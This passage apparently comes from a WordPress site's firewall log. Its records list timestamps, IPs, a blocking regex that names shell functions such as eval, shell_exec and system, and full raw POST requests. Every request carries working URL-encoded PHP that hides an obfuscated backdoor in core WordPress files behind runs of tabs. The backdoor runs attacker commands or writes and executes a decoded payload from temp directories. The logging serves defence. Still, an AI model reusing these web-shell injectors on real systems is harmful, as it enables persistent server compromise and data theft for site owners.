20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:6755\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:49:59","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6732\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nGJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:03","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nXU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
